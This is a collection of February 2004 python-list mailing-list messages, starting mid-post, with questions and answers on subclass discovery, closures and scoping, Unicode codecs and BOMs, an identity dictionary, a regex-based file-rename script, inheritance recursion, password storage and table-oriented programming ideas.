in the hierarchy obviously needs to be aware of its subclasses.

I also did not want to revisit the base classes each time
I would create a new subclass -- I wanted the mere act
of subclassing a base class to be enough for the base class
to be aware of the subclass. So, being the  kind of lazy
person who prefers to spend several hours on an interesting
problem to avoid 5 minutes of routine work, I wrote a metaclass
that would do this for me. Quite straightforward really.
Only after playing around with this for a while, and inspecting
the results, I happened to notice that new-style classes in
Python have a __subclasses__ method. This method does what
the name implies: Klass.__subclasses__() returns a list of
the direct subclasses of Klass.

I don't really mind the lost time for the creation of the
metaclass -- that was fun, and I learned some new things
along the way. But what bothers me is that there's absolutely
nothing about this method in the Python documentation.
The excellent "Python in a Nutshell" book also does not
mention it. It's almost as if this method is not meant
to be used by mortals.

When I searched python.org for "__subclasses__" I found
some more information. The __subclasses__ method appears
to exist to allow modifications of the superclass to be
percolated down to its children, mainly for speed reasons,
if I understand Tim Peter's explanation correctly 
(http://mail.python.org/pipermail/python-list/2003-August/176360.html). 
I also found several warnings that the __subclasses__ method
only returns classes that have been accessed previously (which
would defeat my purpose) See e.g. 
http://mail.python.org/pipermail/python-bugs-list/2003-June/018299.html. 
However, when I experimented with the __subclasses__ method
for my application, I always found that the subclass was known
as soon as it was defined.

So again, my question. Is it safe to use the __subclasses__
method for the purpose I described above? Or would it be safer
to revert to my home-grown metaclass solution?

Ruud de Jong



From skip at pobox.com  Tue Feb 10 19:50:26 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 10 Feb 2004 18:50:26 -0600
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
 warning: ISO C89 does not support `long long'
In-Reply-To: <20040210231435.GB15796@spawar.navy.mil>
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>
	<16425.25330.886172.548459@montanaro.dyndns.org>
	<20040210231435.GB15796@spawar.navy.mil>
Message-ID: <16425.31826.535656.7252@montanaro.dyndns.org>


    Chris> Is "long long" an extension of ANSI C? That Python uses?

Yup.  Python's build process knows the difference between 'long long' (the
way GCC spells it) and _int64 (the way MSVC spells it).  No other extensions
are currently supported.  Are there other ways to spell "64-bit int" in use
at the moment?

Skip



From uche at ogbuji.net  Wed Feb 11 01:59:03 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 10 Feb 2004 22:59:03 -0800
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com>
Message-ID: <d116fbae.0402102259.50e8b38c@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<40294322.7AF2C6D7 at engcorp.com>...
> "Martin v. L?wis" wrote:
> > 
> > Peter Hansen wrote:
> > > Then there are very few XML parsers in the world, if one includes, say,
> > > namespaces and validation as part of XML.
> > 
> > Namespaces are clearly *not* part of the XML recommendation (but part
> > of the XML namespaces recommendation). Validation is optional in the
> > XML recommendation. Character references are not.
> 
> See my reply to Brian Q...  I can accept that, but read more into Uche's
> objection than he probably meant.  It now seems rather over the top to
> write an article lambasting the product for something that would normally
> just be considered a simple bug/defect in the software, unless the
> maintainers have in effect refused to fix it.

I agree.  I would not be making my point so strongly if I had not in
fact read several times just such a refusal by the PyRXP authors to
fix the non-conformance.  When I first came across the error, my first
instinct was to report the error and wait for a fix.  Then I did some
googling and saw that others had eported the error and the maintainrs
did in fact refuse to fix it.

Recently Stuart Bishop contributed a conforming variant of PyRXP,
called PyRXPU.      PyRXPU is an XML parser.  PyRXP is not.  This
point has not been made clearly enough by the PyRXP dvelopers.  I
think it's great that ReportLab is contributing to the diversity of
XML tools in Python and I encourage people to try PyRXPU. 
Unfortunately it is only available from ReportLab CVS, but I'd expect
this will change soon, and for now at least it's easy to build.

--Uche
http://uche.ogbuji.net


From llothar at web.de  Sun Feb  8 11:18:06 2004
From: llothar at web.de (Lothar Scholz)
Date: 8 Feb 2004 08:18:06 -0800
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<c03h78$dfc$1@news.service.uci.edu>
	<c03ris$c2t$2@news.rz.uni-karlsruhe.de>
	<c04je2$d66$1@news.service.uci.edu>
	<c057uq$4ph$1@news.rz.uni-karlsruhe.de>
Message-ID: <6ee58e07.0402080818.2804f08f@posting.google.com>

Uwe Mayer <merkosh at hadiko.de> wrote in message news:<c057uq$4ph$1 at news.rz.uni-karlsruhe.de>...

> Almost. I want to write software from components. 

Components must try to reduce their dependencies. So your design may
not be the best one.

> Having a single global name space is poor software design. 

No absolutely not. There are Programs with millions of lines written
in C that are good designed and reliable software.
Having a common prefix is nothing else then using namespaces.

> Do you think there is a reason why in Java every class got to be put into
> one source file - or is this just a bad language restriction?

This has to do with dynamic loading. Nothing else.


But maybe more constructive:

In my software (Eiffel) i have a CORE_MANAGER class that has objects
like EDITOR, COMPILER  etc. This are facade patterns to the
subsystems. I also have EDITOR_BRIDGE, COMPILER_BRIDGE classes.  The
editor provides its functionality to the outside world only with this
class and can use only the services found in the EDITOR_BRIDGE object.

The CORE_MANAGER class now sets up the editor or some editor mock
object if the editor is not used.

This requires quite a lot of glue code but i'm now able to switch
independent subsystems on and off. So i could split my 250.000 lines
program into 8 optional subsystems.


From mwh at python.net  Fri Feb 27 08:24:37 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 27 Feb 2004 13:24:37 GMT
Subject: Feature request: subclassing FunctionType [Was: Some language
 proposals]
References: <95aa1afa.0402262158.5b33de79@posting.google.com>
Message-ID: <m3u11c8xka.fsf@pc150.maths.bris.ac.uk>

michele.simionato at poste.it (Michele Simionato) writes:

[...]

> There is some merit on all those points of view. Speaking for myself,
> I would certainly use more closures if they were better supported by 
> the language. The fact that closures are read-only don't bothers me too 
> much, since I also think that when you want write access to a closure 
> you are really trying to fake an object, and you are better off using
> a real object. On the other hand, I am really bothered by the scoping
> rules. My first post on this mailing list some time ago was caused by
> problems I had with the surprising scope rules. Take for instance
> this example:
> 
> def make_adders(n):
>     return [(lambda x: x+i) for i in range(n)]
> 
> add0,add1=make_adders(2)
> 
> print add0(0) #=> 1
> print add1(0) #=> 1
> 
> This does not work as expected, 

However, you would probably like this to work:

def make_mutual_rec():
    def y1(x):
        if x > 0: return y2(x/2)
        else: return x
    def y2(x):
        if x > 0: return y2(x-2)
        else: return x
    return y1

make_mutual_rec()(3)

It seems to be difficult to reconcile the two points of view.

More reading:

    http://www.python.org/~jeremy/weblog/040204.html
    http://python.org/sf/872326

> and the solution is an ugly hack with default arguments:

Or an object...

[...]
> I don't like that, but I don't think that the current scope rules
> will change any soon. Alternatively, I can use a class:

Ah...

]...]
> I think this reads quite well. At the present, however, I cannot subclass
> FunctionType and I am a bit disturbed by that, also because I can subclass 
> the other built-ins types and there no reason why functions must be so
> special: at they end they are just callable objects with a descriptor
> protocol. So, I submit it as a feature request for Python 2.4.
> Maybe, if enough people wants the feature, we may get it! 

I suspect that creating the patch wouldn't take much longer than
writing that article.

Cheers,
mwh

-- 
  In general, I'd recommend injecting LSD directly into your temples,
  Syd-Barret-style, before mucking with Motif's resource framework.
  The former has far lower odds of leading directly to terminal
  insanity.                                            -- Dan Martinez


From michael at foord.net  Mon Feb 23 10:25:56 2004
From: michael at foord.net (Fuzzyman)
Date: 23 Feb 2004 07:25:56 -0800
Subject: Changing the default text codec
References: <8089854e.0402230050.145a8c94@posting.google.com>
	<c1chv0$85i$07$1@news.t-online.com>
Message-ID: <8089854e.0402230725.9960c3e@posting.google.com>

Peter Otten <__peter__ at web.de> wrote in message news:<c1chv0$85i$07$1 at news.t-online.com>...
> Fuzzyman wrote:
> 
[snip..]
> > I can't work out how to change the default codec (no matter what the
> > locale) ?
> > 
> > Anyone able to help - or point me to a useful resource ?? (I've tried
> > google - b4 u suggest it )
> 
> You can either explicitly convert your unicode strings:
> 
> unicodeword.encode("latin-1")
> 

I'll try this.
Some of the errors said (something to the effect of) 'character not in
range(128)' which sounds like some standard 'methods' (or functions)
are only prepared to deal with the default 7-bit ascii. That could be
a bugger.

> or try to modify your site.py from the default
> 
> encoding = "ascii"
> 
> to 
> 
> encoding = "latin-1"
> 

Short of me actually looking... where is site.py :-)


Thanks


Fuzzyman


http://www.voidspace.org.uk/atlantibots/pythonutils.html

> Peter


From bob at redivi.com  Sat Feb 28 21:31:40 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sat, 28 Feb 2004 21:31:40 -0500
Subject: Identity dictionnary
References: <js-665C5B.03054329022004@biggoron.nerim.net>
Message-ID: <2004022821314075249%bob@redivicom>

On 2004-02-28 21:05:48 -0500, Jean-Sebastien Roy <js at jeannot.org> said:

> I'm trying to create an object to be used as a key in a dictionary, 
> where comparison (for key retrieval) would be done by 'is' instead of 
> __eq__.
> (__eq__ is defined in this object, but serve another purpose and does 
> not return a boolean).
> 
> Is defining __hash__ as id(self) sufficient to guarantee that __eq__ 
> will never be called by the dict implementation ? (it seems to work in 
> practice)
> If not, how to ensure __eq__ will never be called ?

I don't believe your assumption about dict is correct.  A typical dict 
is not going to have 2**32 slots in it, so you will eventually get a 
collision, which will call __eq__ unless the key you're getting happens 
to be the first item in that slot (it think uses object identity first 
as an optimization and for sanity, though I have not looked at the 
source).

What you might want is a special kind of container, not a special kind 
of object to use as keys to a dict:

class identitymap(object):
    def __init__(self):
        self._dict = {}

    def __getitem__(self, item):
        return self._dict[id(item)][1]

    def __setitem__(self, item, value):
        self._dict[id(item)] = (item, value)

... etc.

I have used a data structure such as this before for similar reasons 
(an attempt at pure python transparent object persistence..).

-bob



From littlejohn.75 at news.noos.fr  Mon Feb 23 14:08:16 2004
From: littlejohn.75 at news.noos.fr (F. Petitjean)
Date: 23 Feb 2004 19:08:16 GMT
Subject: How to code a series of alternatives
References: <Xns94987ED355A3Asdfexpertunecom@216.168.3.44>
Message-ID: <403a4fa0$0$28131$626a14ce@news.free.fr>

On Mon, 23 Feb 2004 18:28:03 -0000, Scott F <> wrote:
> testvar = bob
I suppose you mean :  testvar = "bob"
 
> # Trial A: This does not work
> if testvar == ("fred" or "bob):
>     statements
How about this ?
if testvar in ("fred", bob"):
    statements
> 
> # Trial B: This does work
> if textvar == "fred" or textvar == "bob":
>     statements
> 
> 
> Trial B is OK for 1 or 2 tests, but gets messy for 5 or 6.  What is the 
> variation of Trial A that will work?  

alternatives = ("one", "two", "three")
if alternative in alternatives:
    # statements


Regards


From pinard at iro.umontreal.ca  Wed Feb 18 17:01:14 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Wed, 18 Feb 2004 17:01:14 -0500
Subject: regular expressions and renaming files
In-Reply-To: <20040218172527.GE30614@lebel.org>
References: <20040218172527.GE30614@lebel.org>
Message-ID: <20040218220114.GA26994@alcyon.progiciels-bpi.ca>

[David Lebel]

> One script I had in my toolbox was used to rename files using a
> regular expression.  That script came from Tom Christiansen (of Perl
> fame) and shows the great flexibility of Perl doing regular expression
> operations.  Now, I don't know where to start doing the conversion.

Here is my cut of it, from my personal toolbox (so the French comments).
I submit it here in case people would suggest improvements... :-)


#!/usr/bin/env python
# -*- coding: Latin-1 -*-
# Fran?ois Pinard <pinard at iro.umontreal.ca>, 1991, 2004.
# D'apr?s Tom Christiansen <tchrist at convex.com>, alt.sources 1990-12-08.

"""\
Renommer les fichiers selon un th?me de transformation fourni.

Usage: rename [OPTION]... TRANSFORMATION FICHIER...

Options:
    -v   D?crire les changements effectu?s.

TRANSFORMATION doit ?tre, soit une expression Python qui ?value le
nouveau nom pour le fichier dont le nom est fourni initialement dans
`_', soit un ?nonc? Python qui affecte ? la variable `_' le nouveau nom
pour le fichier dont le nom est initialement contenu dans `_'.

On peut compter sur les modules `os', `re' et `sys'.

Exemples:
    rename '_[:-5]' *.orig
    rename -v 'if not _.startswith("Make"): _ = _.lower()' *
    rename '_ + ".bad"' *.f
    rename 'if _[0] in "yY": print _; _ = _.replace("foo", "bar")' *
"""

import os, re, sys

def main(*arguments):
    if not arguments:
        sys.stdout.write(__doc__)
        raise SystemExit
    assert len(arguments) < 2, arguments
    verbeux = False
    import getopt
    options, arguments = getopt.getopt(arguments, 'v')
    for option, valeur in options:
        if option == '-v':
            verbeux = True
    operation = arguments[0]
    for argument in arguments[1:]:
        _ = argument
        try:
            _ = eval(operation)
        except SyntaxError:
            exec operation
        if _ != argument:
            try:
                os.rename(argument, _)
            except IOError, diagnostic:
                sys.stderr.write('* %s: %s\n' % (argument, diagnostic))
            else:
                if verbeux:
                    sys.stderr.write('%s -> %s\n' % (argument, _))

if __name__ == '__main__':
    main(*sys.argv[1:])

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From domma at procoders.net  Fri Feb 27 08:07:44 2004
From: domma at procoders.net (Achim Domma)
Date: Fri, 27 Feb 2004 14:07:44 +0100
Subject: remove BOM from string read from utf-8 file
Message-ID: <c1nfem$hs5$04$1@news.t-online.com>

Hi,

I read some text from a utf-8 encoded text file like this:

text = codecs.open('example.txt','r','utf8').read()

If I pass this text to a COM object, I can see that there is still the BOM
in the file, which marks the file as utf-8. Simply removing the first
character in the string is not ok, because the BOM is optional. So I tried
something like this:

if text.startswith(codecs.BOM_UTF8):
    print "found BOM"

but then I get the following error:

UnicodeDecodeError: 'ascii' codec can't decode byte 0xef in position 0:
ordinal not in range(128)

What's the right way to remove the BOM from the string?

regards,
Achim




From dsdiv at vladnet.ru  Wed Feb 18 22:00:49 2004
From: dsdiv at vladnet.ru (Den Ivanov)
Date: Thu, 19 Feb 2004 13:00:49 +1000
Subject: inheritance problem
Message-ID: <20040219030049.66140B45A2@mail.vladnet.ru>

Example:
------------
class c1:
  def method1(self):
    print 'class c1, method1'
  def method2(self):
    print 'class c1, method2'
    self.method1()

class c2(c1):
  def method1(self):
    print 'class c2, method1'
    c1.method2(self)
  def method2(self):
    print 'class c2, method2'

c = c2()
c.method1()
------------
i expect :
class c2, method1
class c1, method2
class c1, method1

but i get this:
class c2, method1
class c1, method2
class c2, method1
class c1, method2
...
RuntimeError: maximum recursion depth exceeded

How fix this?

PS. python 2.1.3



From theller at python.net  Tue Feb 10 14:57:07 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 10 Feb 2004 20:57:07 +0100
Subject: doc strings should not be accessed? -OO
References: <pan.2004.02.10.19.37.05.395160@ll.mit.edu>
Message-ID: <y8rahfn0.fsf@python.net>

George Young <gee_arr_why at ll.mit.edu> writes:

> [python 2.3.3, SuSE 8.2 x86 Linux]
> In setting up an install procedure for the "released" directory
> of my app, I found that after doing:
>
>   python -OO -c 'import compileall;compileall.compile_dir(".")'
>
> in my Makefile (I know, I'll switch to distutils sometime...),
> my app doesn't print the proper "usage" message when invoked
> with improper args.  The app is using the module's __doc__ 
> string as part of it's "usage" message.  
>
> I see from the docs that -OO or PYTHONOPTIMIZE=2 removes 
> the __doc__ string.  It seems to me that either:
>
> 1) there should be clear and prominent warning where docstrings
> are discussed in the manual that they may not be available
> during execution, or
>
> 2) optimization should leave the poor things alone...
>
> Coming from many years of c and c++ programming where "if 
> cranking up the optimization changes the output, the compiler
> is broken" -- it seems to violate the friendliness of python's
> style...

The *sole purpose* of '-OO' against '-O' is to remove the doc strings.
You should not give any switches to Python when you're not knowing what
they do...

Thomas


From wfolta at netmail.to  Wed Feb 18 11:39:04 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Wed, 18 Feb 2004 11:39:04 -0500
Subject: Ellipsis usage?
Message-ID: <F6E02B4E-6230-11D8-9450-000A959CB2EC@netmail.to>

I see Ellipsis documented under slicing, though it appears it's not 
used in slicing but rather slicing-like notation for dictionary keys. 
It's a minor thing but none of the books I have even mention it. Is it 
obsolete in python 2.x or still useful?




From newsgroups at jhrothjr.com  Tue Feb 17 16:56:18 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 17 Feb 2004 16:56:18 -0500
Subject: PEP218: Representing the empty set
References: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>
Message-ID: <10353icpm2fnrd6@news.supernews.com>

"Andrew McLean" <spam-trap-095 at at-andros.demon.co.uk> wrote in message
news:Eakvp5MXQnMAFwqT at at-andros.demon.co.uk...
> Looking at PEP218 there is a discussion about the most appropriate way
> of representing the empty set. The two alternatives proposed are {} and
> {-}. I was wondering why either of these is needed. Why not just use
> set()?. It is only two more characters than {-} and a bit more explicit.
>
> Similarly, I find myself initialising dictionaries with dict() rather
> than {}.
>
> Am I missing something?

A very minor oversight. This discussion only makes sense in
the context of having a set literal. The 2.3 set implementation
certainly didn't, and the latest 2.4 development documentation
(Feb 12) also doesn't, so the discussion is moot.

John Roth
>
> -- 
> Andrew McLean




From peter at engcorp.com  Thu Feb 26 16:54:54 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 26 Feb 2004 16:54:54 -0500
Subject: How to obscure a password
References: <mailman.180.1077825257.8594.python-list@python.org>
Message-ID: <403E6B2E.C915BE48@engcorp.com>

"Batista, Facundo" wrote:
> 
> #- > That will imply to the user to enter his password
> #- everytime (that's what I'm
> #- > trying to avoid).
> #-
> #- That's what sessions are for.  Don't you have session support?
> #-
> #- The only time one should ever need to re-enter a password is when you
> #- are allowing them to *change* their current password.  And even then
> #- hashing should still be done before you encrypt the new password with
> #- the old one, so that it can _never_ be seen in the clear on
> #- the server.
> 
> Sessions? I'm not serving Web. It's a simple program with a GUI that runs
> locally.

Okay, so why not just have a checkbox that the user can select that
says "I don't want to use a password at all" and bypass the "authentication"?

What's the value of having a password on something if you're going to 
store the password unencrypted in a local file and give the user the 
option of saying "re-use the password in the file"?

Is it that you're going to be sending this password to a remote system,
so basically you've got a utility which allows storing the password
locally so that a user doesn't have to retype it but can still access
the remote system?  (If that's the case, you could title this utility
"security-removal-tool" because that's what it is.  Your call though...)

-Peter


From newsgroups at jhrothjr.com  Thu Feb 12 15:30:06 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Thu, 12 Feb 2004 15:30:06 -0500
Subject: Table Oriented Programming
References: <mailman.2.1076613028.31398.python-list@python.org>
Message-ID: <102nomqgcceleac@news.supernews.com>


"Michael Hobbs" <michael at hobbshouse.org> wrote in message
news:mailman.2.1076613028.31398.python-list at python.org...
> Yeah, yeah, another X-Oriented paradigm, but please hear me out.
>
> I have recently been studying up on EJB's in order to extend my resume.
> I have looked at J2EE several times over the past years, but have never
> been impressed by it. Now that I've studied it in detail, I know why. A
> strongly typed language such as Java is poorly suited to model tables
> and relations.
>
> I got to thinking that a more dynamically typed language, such as
> Python, would be a more natural fit. I've always been fond of the
> table-oriented programming ideas described in
> http://www.geocities.com/tablizer/top.htm, so I'm thinking that if
> Python could be extended to handle table-oriented programming as
> seamlessly as it handles object-oriented programming, it could become a
> really valuable language for writing enterprise components, a la EJB.
>
> Does anyone know if anyone has already walked this path?
>
> I've given it a little thought myself, and here are some of my
> [incomplete] ideas:
>
> - Tables would be first-class values, just as classes are.
> - A table may be stored completely in memory, or it may represent a
> table stored in a database engine.
> - A table may represent the result of a query.
> - Queries are performed using a sequence of operators, rather than
> relying on SQL.
>
> Consider this example code:
>   departments = DepartmentTable
>   employees = EmployeeTable
>   johnsDepartment = (departments * employees) /
>     (employees.dept == departments.dept) /
>     (employees.name == 'John') %
>     departments.name
>   print johnsDepartment[0].name
>
> In the code above, the "*" operator performs a cartesian product, the
> "/" operator performs a selection, and the "%" operator performs a
> projection. If the DepartmentTable and the EmployeeTable are stored in a
> database engine, the expression above would generate a SQL query similar
> to "select department.name from (select * from department, employee
> where employee.dept = department.dept) where employee.name = 'John'". If
> the expression had been written "(departments * employees) /
> (employees.dept == departments.dept and employees.name == 'John') %
> departments.name", the resulting SQL would be similar to "select
> department.name from department, employee where employee.dept =
> department.dept and employee.name = 'John'", that is, without the nested
> SELECT.
>
> Of course, the entire code above could be reduced to a single line:
>   print ((DepartmentTable * EmployeeTable) / (EmployeeTable.dept ==
> DepartmentTable.dept and EmployeeTable.name == 'John') %
> DepartmentTable.name)[0].name
>
> Perhaps the list-comprehension syntax may be better suited than
> arithmetic operators. Like I said, my ideas are still a little
> incomplete.
>
> Please forgive me if this has already been discussed to death,
> - Michael Hobbs

It's an intriguing idea; I've had the occasional thought of
wanting an in-memory relational algebra implementation (which
is what he's actually specifying once you get him down off of
the hobby-horse he's riding.)

Put together a package and see whether it flies for real world
problems. That's the usual path for inclusion into Python - put a
pure Python package together, see if you can get people excited
about actually using it, and then propose it for inclusion into the
standard library.

John Roth




From tim.one at comcast.net  Sun Feb  1 11:21:44 2004
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 1 Feb 2004 11:21:44 -0500
Subject: new extension type inheriting from list
In-Reply-To: <3pH8tJA1lNHAFw2I@jessikat.fsnet.co.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEPLIKAB.tim.one@comcast.net>

[Robin Becker]
> Is there any example anywhere of a new style extension type that
> inherits from a built in type.

Modules/xxsubtype.c in the Python source distribution has examples of C
types inheriting from list and dict.  test_descr.py has examples of Python
types inheriting from all sorts of builin types.

> I would like to write a list based type, but although I see there
> is a tp_bases slot I suspect there's more that I need to know.

Probably <wink>.

> How does one handle the forwarding of members and methods etc.

Most of that works by magic:  the type slots you don't force are filled in
(via inheritance from tp_base) when you call PyType_Ready() during
initialization.

> How does one do explicit super etc?

You're better off not trying to override existing methods, as the overrides
may not get called.  Adding new methods to builtin types via subclassing was
the intent, and works fine.  Trying to change the behavior of existing
methods is a crapshoot, and is better done by containment than inheritance.

That said, since C doesn't support inheritance anyway, there's no generally
applicable approach to faking super at the C level, and people do all sorts
of things.  For example, if you want the length of an instance of your list
subtype in C, you could call PyList_Size(self), or cast self to the list
type and access ob_size, or go thru a tedious chain of pointer derefencing
starting with your type's tp_base.

I don't think there any examples of this in the core.  The closest it gets
is that bool inherits from int, so there are some overrides in boolobject.c.
datetime.datetime also inherits from datetime.date, but both types are
implemented in the same file so can (& do) use each other's internals
directly.




From surrender_it at remove.yahoo.it  Fri Feb 20 03:30:02 2004
From: surrender_it at remove.yahoo.it (gabriele renzi)
Date: Fri, 20 Feb 2004 08:30:02 GMT
Subject: disappearing of global perlish variables
References: <1deb305l037b7ao9esroc2ass30esd0d3q@4ax.com>
Message-ID: <cchb30pn89cd6d1edf29nod4he30ru8dr5@4ax.com>

il Fri, 20 Feb 2004 07:47:13 GMT, gabriele renzi
<surrender_it at remove.yahoo.it> ha scritto::

sorry for mispost :(


From mwh at python.net  Wed Feb 25 07:33:49 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 12:33:49 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
Message-ID: <m34qtffidu.fsf@pc150.maths.bris.ac.uk>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> Paul Prescod <paul at prescod.net> writes:
> 
> > I disagree. Closures are rare in Python because Python is primarily an
> > OOP language.
> 
> I disagree, Python is a multi-paradigm language ... I fail to see how
> this has any bearing on the use of closures ... 

Really?  Paul is saying "if you are in a situation in Python where you
want to use a read-write closure, you'll probably be happier if you
use an object-based solution instead".

Now you may *disagree* with this point, but I find it hard to believe
you don't *see* it.

I agree with him, FWIW.  Using closures to fake objects sucks (in
scheme or CL as much as in Python).

Can you post an example of using a read-write closure that you think
wouldn't be better off as an object (invent syntax as necessary...).
No-one was very convincing at this last time it went around on
python-dev.

> all of which is irrelevant to my original point, which was to note
> out that saying "people don't use it much" is not a very convincing
> argument for not fixing something that is broken ... 

OK, how about the argument above?

> because the very fact that it is broken probably contributes to
> people not using it much.

Well, true as this may be, I hypothesise that it wouldn't be used much
if it wasn't "broken" and if it was used most of the time you'd wish
it wasn't.  Not a particularly verifiable statement, I'll grant, but
things like this is what Guido is for :-)

Cheers,
mwh

-- 
  Structure is _nothing_ if it is all you got.  Skeletons _spook_
  people if they try to walk around on their own.  I really wonder 
  why XML does not.                     -- Erik Naggum, comp.lang.lisp


From crescent_au at yahoo.com  Thu Feb  5 08:05:48 2004
From: crescent_au at yahoo.com (Ben)
Date: 5 Feb 2004 05:05:48 -0800
Subject: where does Python stand?
Message-ID: <d99e1341.0402050505.226a01c8@posting.google.com>

Hi all!

I learned Python as part of my university coursework... I enjoyed it.
Now I'm just wondering how Python compares with asp, jsp, php and what
not?? I don't have slightest knowledge about these languages... Are
they more advanced than Python? Can Python be integrated with
Dreamweaver?

Hope some of you can get me out of confusion...

Ben


From amy-g-art at cox.net  Wed Feb 11 16:37:05 2004
From: amy-g-art at cox.net (Amy G)
Date: Wed, 11 Feb 2004 13:37:05 -0800
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <zcxWb.464065$JQ1.270296@pd7tw1no>
Message-ID: <4gxWb.39659$P17.14674@fed1read03>

There you go... list comprehension.  That is definatly nicer to look at.


"Elaine Jackson" <elainejackson7355 at home.com> wrote in message
news:zcxWb.464065$JQ1.270296 at pd7tw1no...
> b=[x for x in b if x not in c]
>
> "Bart Nessux" <bart_nessux at hotmail.com> wrote in message
> news:c0e4g3$r1$1 at solaris.cc.vt.edu...
> | By using lists, I can create sets of number. Suppose I have three lists.
> | One list is the super-set, one is a set that contains all the numbers
> | (just like the super-set) and the last is sub-set of the super-set. For
> | example:
> |
> | a = [1,2,3,4,5] # The super-set.
> | b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
> | c = [2,4] # A sub-set
> |
> | I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
> | this would make the sets look like this:
> |
> | a = [1,2,3,4,5]
> | b = [1,3,5]
> | c = [2,4]
> |
> | How do I test set c to find what it contains and then look at set b to
> | see if it contains any of those same numbers, and if so, remove them.
> |
>
>




From theller at python.net  Tue Feb 10 06:31:20 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 10 Feb 2004 12:31:20 +0100
Subject: problem with os.system command length
References: <mailman.1405.1076410529.12720.python-list@python.org>
Message-ID: <ekt3gohj.fsf@python.net>

"jon c" <jon_couchman at hotmail.com> writes:

> I am using python 2.3
> windows 2000
>
> I try and run a very long command using os.system(cmd)
>
> but it is too long to be run, I get the following error
>
> the following character string is too long:
>
> although this is not directly a python problem, I was wondering if
> anyone knew a quick way of solving it?

The general solution is to write the command line arguments into a file,
and pass the filename to the program you want to call.  Not all programs
support this, though.

Thomas


From no at spam.pls  Mon Feb 16 05:23:59 2004
From: no at spam.pls (Matthias)
Date: 16 Feb 2004 11:23:59 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>

"kbass" <kbass at midsouth.rr.com> writes:

> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.

In every language community you will find people claiming that their
favorite language X is 5-10 times more productive than alternatives.
Typically this is justified by personal anecdotes.

A scientific study in this regard is

@misc{ prechelt-empirical,
  author = "Lutz Prechelt",
  title = "An empirical comparison of C, C++, Java, Perl, Python, Rexx, and Tcl for a search/string-processing program",
  url = "citeseer.nj.nec.com/547865.html" }

This study reports a programmer productivity gain of about 2 for all
the scripting languages over C, C++, and Java.  It is a pity that not
more attempts to gain /unbiased/ information on software productivity
are undertaken.


From fake at fake.net  Sun Feb 22 14:32:50 2004
From: fake at fake.net (Andrei)
Date: Sun, 22 Feb 2004 20:32:50 +0100
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
Message-ID: <lw6i8vlralv3.9b0vokdurkht$.dlg@40tude.net>

weasel wrote on Sun, 22 Feb 2004 19:07:01 GMT:

> Why is the Farenheit to Celsius part not working properly? Instead of
> showing a similar range of what the farenheit is listing, the celsius
> portion is showing half the range of farenheit.

Try this in your interactive interpreter:

>>> 9/5

What's odd about the result? "/" does integer division. It's weird and
unexpected to lots of people, but it's the way it is - it will be fixed in
due time. However, due to some time machine Guido is said to possess, you
can already use the future behavior by doing this:

from __future__ import division

Then try 9/5 again. Integer division is "//" now, while "/" behaves as
floating-point division.

Alternatively, you could use a floating-point number instead of integers.
Try this in a clean interpreter session (without the from __future__
thing):

>>> 9.0/5
>>> 9/5.0
>>> 9.0/5.0

<snip>         
>         low_other_temp = (9 / 5 * low) + 32
>         high_other_temp = (9 / 5 * high) + 32
>         rnge = range(low, high + 1)
>         faren = range(low_other_temp, high_other_temp + 1)  
>         print rnge
>         print faren
>    
>     elif temp == 'F' and low <= high:
> 
>         num1 = low - 32
>         num2 = high - 32
>         low_temp = num1 * 5/9
>         high_temp = num2 * 5/9
>         rnge = range(low, high + 1)
>         celsi = range(low_temp, high_temp + 1)
>         print rnge
>         print celsi
<snip>

-- 
Yours,

Andrei

=====
Real contact info (decode with rot13):
cebwrpg5 at jnanqbb.ay. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V ernq
gur yvfg, fb gurer'f ab arrq gb PP.


From magnus at thinkware.se  Thu Feb 19 16:00:37 2004
From: magnus at thinkware.se (Magnus Lyck?)
Date: 19 Feb 2004 13:00:37 -0800
Subject: OO style advice
References: <1076943278.22567.0@echo.uk.clara.net>
Message-ID: <258fd9b8.0402191300.5c01d081@posting.google.com>

